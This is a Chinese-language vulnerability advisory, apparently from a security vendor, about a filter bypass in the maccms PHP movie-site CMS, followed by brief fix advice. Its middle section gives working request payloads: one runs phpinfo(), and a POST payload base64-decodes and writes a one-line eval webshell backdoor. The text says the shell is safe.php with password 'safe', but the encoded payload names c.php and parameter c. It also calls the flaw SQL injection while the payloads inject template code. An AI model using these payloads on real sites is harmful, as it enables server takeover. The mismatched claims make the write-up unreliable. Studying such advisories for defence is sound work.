蘋果cms系統(tǒng)，是目前很多電影網(wǎng)站都在使用的一套網(wǎng)站系統(tǒng)，開源，免費，擴展性較好，支持一鍵采集，偽靜態(tài)化，高并發(fā)的同時承載，獲得的很多站長的喜歡，于近日被網(wǎng)站安全檢測發(fā)現(xiàn)，maccms存在網(wǎng)站漏洞，sql注入盲射獲取數(shù)據(jù)庫的管理員賬號密碼，關于該漏洞的詳情，我們仔細分析看下.
maccms漏洞分析與修復
蘋果CMS采用的是php語言開發(fā)的代碼，使用的數(shù)據(jù)庫是mysql類型，這種架構是比較常用的，也是比較穩(wěn)定的，但是在安全方面出現(xiàn)的問題是比較多的，這次發(fā)現(xiàn)的是sql注入漏洞，在網(wǎng)站的根目錄下的inc文件里的module目錄下的vod.php代碼如下圖所示：
代碼里的empty($wd函數(shù)，在進行判斷如果是，或者不是的邏輯過程當中，會將前段用戶訪問帶來的參數(shù)，進行安全過濾，我們跟進代碼來追尋到蘋果CMS的配置文件，在function.php配置文件代碼李看到對網(wǎng)站的所有請求方式包括get、post、cookies的提交方式都強制性的進行了安全轉義。網(wǎng)站漏洞問題的發(fā)生就在這里.
我們仔細又發(fā)現(xiàn)，maccms使用了360安全提供的防止sql注入攔截代碼。360的防止sql注入是好幾年前開發(fā)，并公開在網(wǎng)絡上的，已經(jīng)很久沒有更新維護了并且還存在sql注入代碼繞過的情況，參數(shù)值之間進行實體轉換的時候，360的sql攔截規(guī)則沒有對空白符以及反斜杠進行攔截，導致可以繞過插入惡意參數(shù)，直接請求到蘋果cms后端數(shù)據(jù)庫中去，獲取蘋果CMS的管理員賬號密碼。
我們來看下如何利用蘋果CMS的漏洞，從上面漏洞發(fā)生的細節(jié)里可以看出，是因為攔截sql注入語句的過程中存在可以被繞過的漏洞。我們來使用%0b，以及空格對代碼進行注入，sql語句在拼接中，可以插入反斜杠進行單引號的報錯，從而繞過蘋果CMS的安全攔截。語句如下：
GET請求：
http://127.0.0.1/index.PHP?m=vod-search&wd={if-A:phpinfo()}{endif-A}
可以直接看php的具體信息
POST請求
可以直接獲取webshell
http://127.0.0.1/index.PHP?m=vod-search
POST內(nèi)容如下：
wd={if-A:print(fputs%28fopen%28_decode%28Yy5waHA%29,w%29,_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29)}{endif-A}
可以直接生成帶有一句話木馬后門的代碼，文件名為safe.php,一句話木馬鏈接密碼是safe.
如何修復蘋果cms網(wǎng)站漏洞呢？
對網(wǎng)站漏洞的修復我們要知道漏洞產(chǎn)生的原因，以及為何會繞過蘋果CMS的安全過濾，maccms使用的addslash安全函數(shù)，sql中沒有加單引號的安全防護，in字句也很容易忘記加引號，再一個后期處理安全過濾的時候可以插入單引號，stripslash導致可以加入單引號，編解碼導致繞過addslash，使用urldecode編碼進行注入繞過，根據(jù)上面提出的漏洞繞過，我們SINE安全提出漏洞修復的建議是：對URL解碼進行雙層的轉義，對get,post,cookies的攔截規(guī)則進行安全更新，加強空格，以及百分符號的攔截,如果對程序代碼不熟悉的話建議咨詢專業(yè)的網(wǎng)站安全公司來處理解決。
申請創(chuàng)業(yè)報道，分享創(chuàng)業(yè)好點子。點擊此處，共同探討創(chuàng)業(yè)新機遇！
